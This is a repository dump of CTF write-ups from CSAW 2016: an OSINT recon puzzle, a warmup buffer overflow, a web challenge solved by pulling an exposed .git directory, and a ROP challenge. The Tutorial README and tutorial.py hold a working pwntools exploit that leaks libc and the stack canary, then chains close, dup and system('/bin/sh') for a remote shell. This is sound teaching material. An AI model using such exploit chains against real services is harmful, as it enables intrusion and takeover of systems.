├── 2016 └── CSAW │ ├── Fuzyll │ ├── README.md │ └── images │ │ ├── description.png │ │ ├── encoding.png │ │ ├── fuzyllblog.png │ │ ├── jade.png │ │ ├── linkedin.png │ │ ├── part2.png │ │ ├── smash4.png │ │ └── wow.png │ ├── Tutorial │ ├── .gdb_history │ ├── README.md │ ├── images │ │ ├── canary.png │ │ ├── description.png │ │ ├── first_run.png │ │ ├── flag.png │ │ ├── func1.png │ │ ├── func2.png │ │ ├── gdb.png │ │ ├── ida1.png │ │ ├── menu.png │ │ ├── r2.png │ │ └── shell1.png │ ├── libc-2.19.so │ ├── tutorial │ └── tutorial.py │ ├── Warmup │ ├── README.md │ ├── images │ │ ├── description.png │ │ ├── easy.png │ │ ├── flag.png │ │ ├── main.png │ │ └── test.png │ ├── warmup │ └── warmupsol.py │ └── mfw │ ├── README.md │ ├── images │ ├── about.png │ ├── description.png │ ├── flag.png │ ├── git.png │ └── website.png │ └── index.php ├── 2017 ├── BKP │ └── vimjail │ │ ├── README.md │ │ └── images │ │ ├── description.png │ │ ├── flag.png │ │ └── rbash.png ├── BackdoorCTF │ └── The-Wall │ │ ├── README.md │ │ ├── The Wall.html │ │ ├── images │ │ ├── description.png │ │ └── page.png │ │ ├── source.php │ │ └── the-wall.py ├── CSAW │ └── tableEz │ │ ├── README.md │ │ ├── images │ │ ├── description.png │ │ ├── get_tbl_entry.png │ │ ├── get_tbl_entry_dasm.png │ │ ├── main.png │ │ ├── string_info.png │ │ └── table.png │ │ └── tablez └── HackDatKiwi │ └── MD5 Games 1 │ ├── README.md │ ├── hdk_md5.html │ └── sol.php ├── 2018 └── Insomni'hack teaser │ ├── Rule86 │ ├── README.md │ ├── images │ │ ├── description.png │ │ ├── flag.png │ │ └── hint.gif │ ├── outputs │ │ ├── hint.gif │ │ ├── hint_partial.gif │ │ ├── rule86.txt │ │ ├── rule86_partial.txt │ │ ├── super_cipher.py │ │ └── super_cipher_partial.py │ ├── sample_files │ │ ├── hint.gif.enc │ │ ├── rule86.txt │ │ ├── rule86.txt.enc │ │ └── super_cipher.py.enc │ └── sol.py │ └── VulnShop │ ├── README.md │ ├── images │ ├── description.png │ ├── disabled.png │ ├── index.png │ └── output.png │ └── source │ └── vulnshop.teaser.insomnihack.ch │ ├── index.html │ ├── index1380.html │ ├── index2b4c.html │ ├── index32da.html │ ├── index84f6.html │ ├── index8a5f.html │ └── phpinfo.html ├── LICENSE └── README.md /2016/CSAW/Fuzyll/README.md: -------------------------------------------------------------------------------- 1 | ![description](images/description.png) 2 | 3 | Stage 1: http://fuzyll.com/files/csaw2016/start 4 | This site gives the hint: 5 | CSAW 2016 FUZYLL RECON PART 1 OF ?: People actually liked last year's challenge, so CSAW made me do it again... Same format as last year, new stuff you need to look up. The next part is at /csaw2016/. 6 | 7 | For this stage I googled "fuzyll color blind" and found fuzyll's blog where he says he has Deuteranomaly: 8 | ![fuzyll blog](images/fuzyllblog.png) 9 | 10 | Stage 2: http://fuzyll.com/files/csaw2016/deuteranomaly 11 | ![part 2](images/part2.png) 12 | This page presents us with a picture of strawberries, looking at the exif data tells us the next stage. 13 | 14 | Stage 3: 15 | CSAW 2016 FUZYLL RECON PART 2 OF ?: No, strawberries don't look exactly like this, but it's reasonably close. You know what else I can't see well? /csaw2016/<the first defcon finals challenge i ever scored points on 16 | 17 | Googling "fuzyll linkedin" will find his linkedin page, which lists which defcons he has competed in. 18 | The earliest on the list was defcon 19 19 | ![fuzyll linkedin](images/linkedin.png) 20 | 21 | To see if I could find which challenges he did, I googled "fuzyll defcon challenges" which brought me to a vm of defcon challenges he compiled: 22 | http://fuzyll.com/2016/the-defcon-ctf-vm/ 23 | 24 | The github page has challenges sorted by year, after trying all the challenge names for defcon 19, I found that 'tomato' was the solution 25 | 26 | Stage 4: http://fuzyll.com/files/csaw2016/tomato 27 | 28 | This page presents us with the text: 29 | ÃâÁæ@òðñö@ÆäéèÓÓ@ÙÅÃÖÕ@×ÁÙã@ó@–†@oz@É@„–•}£@…¥…•@“‰’…@£–”£–…¢Z@Á•¨¦¨k@–¤£¢‰„…@–†@ÃãÆ¢k@É}¥…@‚……•@—“¨‰•‡@@†‰™@”–¤•£@–†@æ–™“„@–†@恙ف†£@–¥…™@£ˆ…@—¢£@¨…™@M•…¥…™@£ˆ–¤‡ˆ£@É}„@‚…@¢¨‰•‡@£ˆ£@†£…™@Á£ƒ“¨¢”k@‚¤£@ˆ…™…@¦…@™…]K@㈅@•…§£@—™£@‰¢@£@aƒ¢¦òðñöaL”¨@”‰•@æ–æ@ƒˆ™ƒ£…™}¢@•”…nK 30 | 31 | I assumed this was some sort of weird encoding, so I looked for encoding detectors online and found the "Universal Cyrillic decoder": 32 | ![encoding detector](images/encoding.png) 33 | looking through all of their possible encodings revealed the solution. 34 | 35 | Stage 5: 36 | CSAW 2016 FUZYLL RECON PART 3 of ?: I don't even like tomatoes! Anyway, outside of CTFs, I've been playing a fair amount of World of WarCraft over the past year (never thought I'd be saying that after Cataclysm, but here we are). The next part is at /csaw2016/. 37 | 38 | Googling "fuzyll world of warcraft" found this site on his blog: 39 | http://fuzyll.com/2015/blackfathom-deep-dish/ 40 | 41 | I found this guild on the WoW armory, and sorted the roster by rank, the guild master is "elmrik", which is the solution to this stage. 42 | 43 | Stage 6: 44 | The page gives us some ruby code: 45 | ~~~~ 46 | #!/usr/bin/env ruby 47 | 48 | CHARS = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "B", "C", "D", 49 | "F", "G", "H", "J", "K", "L", "M", "N", "P", "Q", "R", "S", "T", 50 | "V", "W", "X", "Y", "Z", "b", "c", "d", "f", "g", "h", "j", "k", 51 | "l", "m", "n", "p", "q", "r", "s", "t", "v", "w", "x", "y", "z"] 52 | 53 | def encode(string) 54 | input = string.bytes.inject {|x, y| (x << 8) + y } 55 | output = "" 56 | while input > 0 57 | output = CHARS[input % 52].to_s + output 58 | input /= 52 59 | end 60 | return output 61 | end 62 | 63 | def decode(input) 64 | # your implementation here 65 | end 66 | 67 | message = "JQSX2NBDykrDZ1ZHjb0BJt5RWFkcjHnsXvCQ4LL9H7zhRrvVZgLbm2gnXZq71Yr6T14tXNZwR1Dld2Y7M0nJsjgvhWdnhBll5B8w0VP3DFDjd3ZQBlcV4nkcFXBNzdPCSGMXQnQ7FTwcwbkG6RHX7kFHkpvgGDDGJvSDSTx7J6MFhRmTS2pJxZCtys4yw54RtK7nhyW6tnGmMs1f4pW6HzbCS1rSYNBk3PxzW9R1kJK54R2b7syLXd7x1Mr8GkMsg4bs3SGmj3rddVqDf4mTYq1G3yX1Rk9gJbj919Jw42zDtT2Jzz4gN0ZBmXPsBY9ktCLPdFrCPZ33NKJy5m37PK0GLXBxZz9k0cjzyt8x199jMsq7xrvNNgDNvgTbZ0xjZzHhkmrWrCmD7t4q4rWYFSJd4MZBxvnqc0VgGzdkq8jSJjnwcynq9VfH22WCQSdPKw48NkZL7QKGCT94pSb7ZSl2G6W37vBlW38q0hYDVcXTTDwr0l808nDPF6Ct1fPwKdNGKbRZ3Q3lHKMCYBC3w8l9VRjcHwMb1s5sMXM0xBvF8WnWn7JVZgPcXcwM2mDdfVkZsFzkrvVQmPfVNNdk9L5WtwDD8Wp9SDKLZBXY67QkVgW1HQ7PxnbkRdbnQJ4h7KFM2YnGksPvH4PgW2qcvmWcBz62xDT5R6FXJf49LPCKL8MQJLrxJpQb7jfDw0fTd00dX1KNvZsWmfYSTl1GxPlz1PvPSqMTQ036FxSmGb6k42vrzz2X90610Z" 68 | puts decode(message) 69 | ~~~~ 70 | 71 | The encode method keeps a running sum of each char, shifting the sum to the left 8 bits before each add. 72 | the sum is then looped over, creating a string from the CHARS array 73 | 74 | My script to decode it: 75 | ~~~~ 76 | def decode(input) 77 | index = 0 78 | output = CHARS.index(input[0]) 79 | 80 | while index < input.length 81 | char = input[index] 82 | output *= 52 83 | output += CHARS.index(input[index]) 84 | index += 1 85 | end 86 | 87 | index = 0 88 | final = "" 89 | while true 90 | final = ((output >> 8 * index) & 0xFF).chr + final 91 | output -= (output >> 8 * index) & 0xFF 92 | if (output >> (8 *index)) <= 0 93 | return final 94 | end 95 | index += 1 96 | end 97 | return final 98 | # your implementation here 99 | end 100 | ~~~~ 101 | 102 | This doesn't work completely, but it works well enough to get to the next stage. 103 | 104 | Stage 7: 105 | On stream, after one of these big upsets in Smash 4, you can see me in the crowd with a shirt displaying my main character! The next part is at /csaw2016/. 106 | 107 | I googled "Biggest smash 4 upsets" and found a video, and just tried the tags of all the players in it, the answer is jade 108 | ![smash 4 video](images/smash4.png) 109 | 110 | Stage 8: http://fuzyll.com/files/csaw2016/jade 111 | This page sends you a file called "jade". 112 | Running 'file' on it says that it's gzipped, gunzipping it gives you an image. 113 | Checking the exif data on the image brings you to the next stage. 114 | ![jade](images/jade.png) 115 | 116 | Stage 9: 117 | CSAW 2016 FUZYLL RECON PART 5 OF 6: I haven't spent the entire year playing video games, though. This past March, I spent time completely away from computers in Peru. This shot is from one of the more memorable stops along my hike to Machu Picchu. To make things easier on you, use only ASCII: /csaw2016/. 118 | 119 | google image search says that the image is of Winay Wayna 120 | 121 | Stage 10: http://fuzyll.com/files/csaw2016/winaywayna 122 | This page gives us the flag: 123 | CSAW 2016 FUZYLL RECON PART 6 OF 6: Congratulations! Here's your flag{WH4T_4_L0NG_4ND_STR4NG3_TRIP_IT_H45_B33N}. 124 | -------------------------------------------------------------------------------- /2016/CSAW/Fuzyll/images/description.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Fuzyll/images/description.png -------------------------------------------------------------------------------- /2016/CSAW/Fuzyll/images/encoding.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Fuzyll/images/encoding.png -------------------------------------------------------------------------------- /2016/CSAW/Fuzyll/images/fuzyllblog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Fuzyll/images/fuzyllblog.png -------------------------------------------------------------------------------- /2016/CSAW/Fuzyll/images/jade.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Fuzyll/images/jade.png -------------------------------------------------------------------------------- /2016/CSAW/Fuzyll/images/linkedin.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Fuzyll/images/linkedin.png -------------------------------------------------------------------------------- /2016/CSAW/Fuzyll/images/part2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Fuzyll/images/part2.png -------------------------------------------------------------------------------- /2016/CSAW/Fuzyll/images/smash4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Fuzyll/images/smash4.png -------------------------------------------------------------------------------- /2016/CSAW/Fuzyll/images/wow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Fuzyll/images/wow.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/.gdb_history: -------------------------------------------------------------------------------- 1 | info process 2 | info proc 3 | proc info 4 | quit 5 | r 6 | r 8000 7 | b menu 8 | r 8000 9 | quit 10 | r 8001 11 | quit 12 | r 8002 13 | b menu 14 | r 8003 15 | proc info 16 | info proc 17 | shell ls -al /proc/4169/fd 18 | -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/README.md: -------------------------------------------------------------------------------- 1 | ![description](images/description.png) 2 | 3 | This challenge provides an executable and a libc.so file. 4 | 5 | Running this file causes a segfault, so lets look at it in IDA: 6 | 7 | ![First ida view](images/ida1.png) 8 | 9 | The file expects us to pass an argument designating the port number to listen on. 10 | 11 | running the program with argument 8000 will still have some errors: to get it working fully you have to fix the errors that it lists (making a user named tutorial, making a home directory for the user, etc) 12 | 13 | Once this setup is done, we can run the program locally for testing. 14 | I could only get the program to run as root (probably not the safest thing to do, but I didn't feel like fixing the permission errors I was getting) 15 | 16 | running sudo ./tutorial 8001 in one terminal then nc 127.0.0.1 8001 in another terminal lets us connect to the service: 17 | ![first run](images/first_run.png) 18 | 19 | There are 3 menu options: 20 | 21 | 1. Manual: this prints some address out, if this is a leak in libc, we can use this address and the given libc to get the address of anything in libc 22 | 23 | 2. This prompts you to enter your exploit, this is probably where we should look for a vulnerability 24 | 25 | 3. Quit: quits the program 26 | 27 | At this point, I decided to look at the 'menu' function from the binary in IDA: 28 | ![menu function in IDA](images/menu.png) 29 | 30 | We can see that func2 is called if '2' is input at the menu, and func1 is called if '1' is input. 31 | 32 | Lets see what option 1 does: 33 | ![func1 in IDA](images/func1.png) 34 | 35 | Here we can see that the function gets the address of the symbol "puts" in the current process, and prints this address - 1280. 36 | 37 | Since we now know the address of puts in memory, we can get around ASLR to find the address of anything in libc: 38 | address of thing in process = leaked address + 1280 - offset of puts + offset of thing we're finding in libc 39 | 40 | To find offsets of a symbol in libc, you can open the given libc file in ida; its address in ida is its offset. 41 | 42 | Now lets look at func2: 43 | ![func2 in IDA](images/func2.png) 44 | 45 | This function has a clear buffer overflow: it reads 0x1cc bytes of input into a buffer at [bp - 140h] 46 | 47 | The only thing in the way of a buffer overflow exploit is the stack canary: 48 | ![stack canary](images/canary.png) 49 | 50 | Looking at the disassembly shows us that the stack canary is found at ebp - 8 51 | In order to succesfully exploit the system, we need to find the stack canary's value and include it at the right place in our exploit so that it is not modified by our buffer overflow 52 | 53 | Luckily for us, the stack canary is printed by the write() call at the end of the function. (It outputs 0x144 bytes starting at bp - 0x140, the canary is found at bp - 8) 54 | 55 | So we can simply enter nothing as input to func 2, read the stack canary from the output, and then call func2 again with our real exploit. 56 | 57 | The Exploit: 58 | In order to exploit this vulnerability, we will need to use ROP. 59 | We can get the address of system() using the leaked memory address and offsets from libc-2.19.so 60 | We can also get the address of the string "/bin/sh" found libc-2.19.so. 61 | If we can load "/bin/sh" into rdi, then return to system(), we can get a shell on the server. 62 | 63 | The easiest way to get "/bin/sh" into rdi is to include its address into our input, then pop it into rdi using a rop gadget. To find gadgets for this exploit, I used radare2: 64 | ![finding gadget in radare](images/r2.png) 65 | 66 | If we overwrite the return address (rbp + 8) with the address of this gadget, put the address of "/bin/sh" in rbp + 16, and put the address of system into rbp + 24, func2 will return to the gadget, pop 67 | "/bin/sh" into rdi, then return into system, executing /bin/sh. 68 | 69 | The exploit now looks like this: 70 | "A" * (0x140 - 8) + stack canary + [8 bytes of filler] + pop_rdi_ret_gadget + bin_sh + system 71 | 72 | Writing up this exploit spawns a shell from the service, but we can't interact with it. This is because system connects the input and output of /bin/sh to file descriptors 0 and 1 respectively, of the parent process. Since we are passing input and output through a different file descriptor (for the socket being used), we can't interact with the shell we launched. 73 | 74 | In order to interact with the shell we create, we need to replace file descriptors 0 and 1 with the descriptor for the socket we're communicating through. 75 | 76 | To do this, we must call close(0) and close(1) to close the file descriptors for stdin and stdout 77 | We can then call dup(socket fd) twice to create file descriptors 0 and 1 that use our socket. 78 | 79 | We can get the address of close and dup the same way we got the addresses of the other libc functions. 80 | 81 | To find the socket being used, I launched the program in gdb, then looked at its open file descriptors in /proc/\/fd/ 82 | ![gdb output](images/gdb.png) 83 | To do this, simply set a breakpoint anywhere after the socket is created, and look at its file descriptors. 84 | 85 | We can see from /proc/\/fd that the socket has file descriptor 4. 86 | 87 | Now our exploit looks like this: 88 | 89 | (0x140 - 8) bytes of filler + stack_canary + 8 bytes of filler + pop_rdi_ret gadget + 0 + address of close + pop_rdi_ret gadget + 1 + address of close + pop_rdi_ret gadget + socket_fd number + address of dup + address of dup + pop_rdi_ret address + bin_sh address + system address 90 | 91 | This will bypass the stack canary, call close(0), call close(1), call dup(4) twice, then call system("/bin/sh") 92 | 93 | An example of the final exploit can be found in tutorial.py 94 | 95 | ![running the exploit](images/flag.png) 96 | 97 | And we're done! 98 | Flag : FLAG{3ASY_R0P_R0P_P0P_P0P_YUM_YUM_CHUM_CHUM} 99 | 100 | -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/canary.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/canary.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/description.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/description.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/first_run.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/first_run.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/flag.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/func1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/func1.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/func2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/func2.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/gdb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/gdb.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/ida1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/ida1.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/menu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/menu.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/r2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/r2.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/images/shell1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/images/shell1.png -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/libc-2.19.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/libc-2.19.so -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/tutorial: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Tutorial/tutorial -------------------------------------------------------------------------------- /2016/CSAW/Tutorial/tutorial.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | from pwn import * 4 | 5 | #for switching between local use and remote use 6 | 7 | libcname = 'libc-2.19.so' #the libc that was given 8 | #libcname = 'libc-2.23.so' #my libc for testing 9 | 10 | 11 | if libcname == 'libc-2.19.so': 12 | r = remote('pwn.chal.csaw.io', 8002) 13 | libc = ELF(libcname) 14 | #get offsets of various symbols in libc-2.19.so 15 | libc_puts_addr = libc.symbols['puts'] 16 | libc_system_addr = libc.symbols['system'] 17 | libc_bin_sh = next(libc.search('/bin/sh\x00')) 18 | libc_close = libc.symbols['close'] 19 | libc_fcntl = libc.symbols['fcntl'] 20 | libc_dup = libc.symbols['dup'] 21 | 22 | else: 23 | r = remote('127.0.0.1', 8003) 24 | #pwntools wouldnt handle my libc for some reason, so i just manually got the addresses from ida 25 | libc_puts_addr = 0x6F5D0 26 | libc_system_addr = 0x45380 27 | libc_bin_sh = 0x18C58B 28 | libc_close = 0xF7030 29 | libc_fcntl = 0xF6DF0 30 | libc_dup = 0x0F7090 31 | 32 | #use the 'manual' option in the menu 33 | r.sendline('1') 34 | 35 | msg = r.recvline() 36 | 37 | while 'Reference' not in msg: 38 | msg = r.recvline() 39 | 40 | #get address of puts - 1280 41 | leaked_addr = int(msg[msg.index(':') + 1: msg.index('\n')], 16) 42 | #calculate the base of libc in the process from leaked address 43 | libc_base = leaked_addr + 1280 - libc_puts_addr 44 | 45 | #calculate locations of symbols in the process form libc base and offset 46 | real_sys_addr = libc_base + libc_system_addr 47 | real_close_addr = libc_base + libc_close 48 | real_dup_addr = libc_base + libc_dup 49 | bin_sh_addr = libc_base + libc_bin_sh 50 | 51 | #address of the pop rdi; ret gadget 52 | pop_rdi_ret = 0x004012e3 53 | 54 | #call func2 with no input, to leak the stack canary 55 | finalstr = "2\n" 56 | r.sendline(finalstr) 57 | 58 | #print some of the responses for debugging purposes 59 | response = r.recv() 60 | print(response) 61 | response = r.recv() 62 | print(response) 63 | response = r.recv() 64 | print(response) 65 | 66 | #get the contents of the stack canary from the output 67 | stack_canary = response[response.index('-Tut') - 12:response.index('-Tut')-4] 68 | print(stack_canary) 69 | 70 | #pack the stack canary for use in the exploit 71 | stack_canary = u64(stack_canary) 72 | 73 | #incomplete exploit, does not replace stdin and stdout 74 | #finalstr = "2\n" + "A" * (0x140 - 8) + p64(stack_canary) + "AAAAAAAA" + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(real_sys_addr) 75 | 76 | #full exploit, as described in README.md 77 | finalstr = "2\n" + "A" * (0x140 - 8) + p64(stack_canary) + "AAAAAAAA" + p64(pop_rdi_ret) + p64(0) + p64(real_close_addr) + p64(pop_rdi_ret) + p64(1) + p64(real_close_addr) + p64(pop_rdi_ret) + p64(4) + p64(real_dup_addr) + p64(real_dup_addr) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(real_sys_addr) 78 | print finalstr 79 | 80 | #send the exploit 81 | r.sendline(finalstr) 82 | 83 | #switch to interactive shell 84 | r.interactive() 85 | 86 | -------------------------------------------------------------------------------- /2016/CSAW/Warmup/README.md: -------------------------------------------------------------------------------- 1 | ![description](images/description.png) 2 | 3 | The challenge provides us with a binary "warmup". 4 | Running this binary prints a hex value, then takes user input. 5 | ![program test](images/test.png) 6 | 7 | Opening it in ida shows that it is printing the address of some symbol named "easy": 8 | ![main in ida](images/main.png) 9 | 10 | Lets see what this 'easy' symbol is: 11 | ![easy](images/easy.png) 12 | 13 | The function 'easy' simply prints out the flag to us. 14 | 15 | Looking back at the main method, the part that takes in user input is vulnerable to buffer overflow. 16 | The buffer that it writes into is located at [bp - 40h], so anything past 0x40 bytes will overwrite other info. 17 | 18 | If you are not familiar with the x86 stack frame layout, http://eli.thegreenplace.net/2011/09/06/stack-frame-layout-on-x86-64 has some good diagrams. 19 | In short, the return address of our current function is stored at RBP + 8. If we overwrite this 20 | return address with the address of 'easy', the main function will return into easy, and will print 21 | the flag for us. 22 | 23 | I threw together a quick python script to run this exploit: 24 | ~~~ 25 | #pwntools provides many tools for exploitation challenges 26 | from pwn import * 27 | 28 | #establish a connection to the server running the "warmup" binary 29 | r = remote('pwn.chal.csaw.io', 8000) 30 | 31 | #receive the first message, which containts the address of 'easy' 32 | msg = r.recv() 33 | lines = msg.split('\n') 34 | 35 | #slice the second line of the server message to get the address it sent and convert it to an integer 36 | address = int(lines[1][4:],16) 37 | 38 | #sends enough A's to fill the buffer up to the location of the return address, followed by the address of 'easy' that was leaked to us earlier 39 | r.sendline("A" * (0x40 + 8) + p64(address)) 40 | 41 | #print the server response 42 | print(r.recv()) 43 | ~~~ 44 | Running this gives the flag: 45 | ![flag](images/flag.png) 46 | 47 | 48 | -------------------------------------------------------------------------------- /2016/CSAW/Warmup/images/description.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Warmup/images/description.png -------------------------------------------------------------------------------- /2016/CSAW/Warmup/images/easy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Warmup/images/easy.png -------------------------------------------------------------------------------- /2016/CSAW/Warmup/images/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Warmup/images/flag.png -------------------------------------------------------------------------------- /2016/CSAW/Warmup/images/main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Warmup/images/main.png -------------------------------------------------------------------------------- /2016/CSAW/Warmup/images/test.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Warmup/images/test.png -------------------------------------------------------------------------------- /2016/CSAW/Warmup/warmup: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/birdsoup/CTF-Writeups/feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb/2016/CSAW/Warmup/warmup -------------------------------------------------------------------------------- /2016/CSAW/Warmup/warmupsol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | r = remote('pwn.chal.csaw.io', 8000) 4 | 5 | msg = r.recv() 6 | lines = msg.split('\n') 7 | address = int(lines[1][4:],16) 8 | 9 | r.sendline("A" * (0x40 + 8) + p64(address)) 10 | print(r.recv()) 11 | -------------------------------------------------------------------------------- /2016/CSAW/mfw/README.md: -------------------------------------------------------------------------------- 1 | ![description](images/description.png) 2 | 3 | The challenge contains a link to a website: 4 | ![site index](images/website.png) 5 | 6 | Going to the about tab reveals that the site uses PHP and git. 7 | ![about page](images/about.png) 8 | 9 | The server has it's git directory public available: 10 | ![git directory](images/git.png) 11 | 12 | I used https://github.com/evilpacket/DVCS-Pillage to download the git directory contents: 13 | 14 | `./gitpillage.sh http web.chal.csaw.io:8000/` 15 | 16 | This gives access to the source of index.php: 17 | ~~~~ 18 | 35 | 36 | 37 | 38 | 39 | [irrelevant html stuff]... 40 | 41 |
42 | 45 | 46 |
47 | 48 |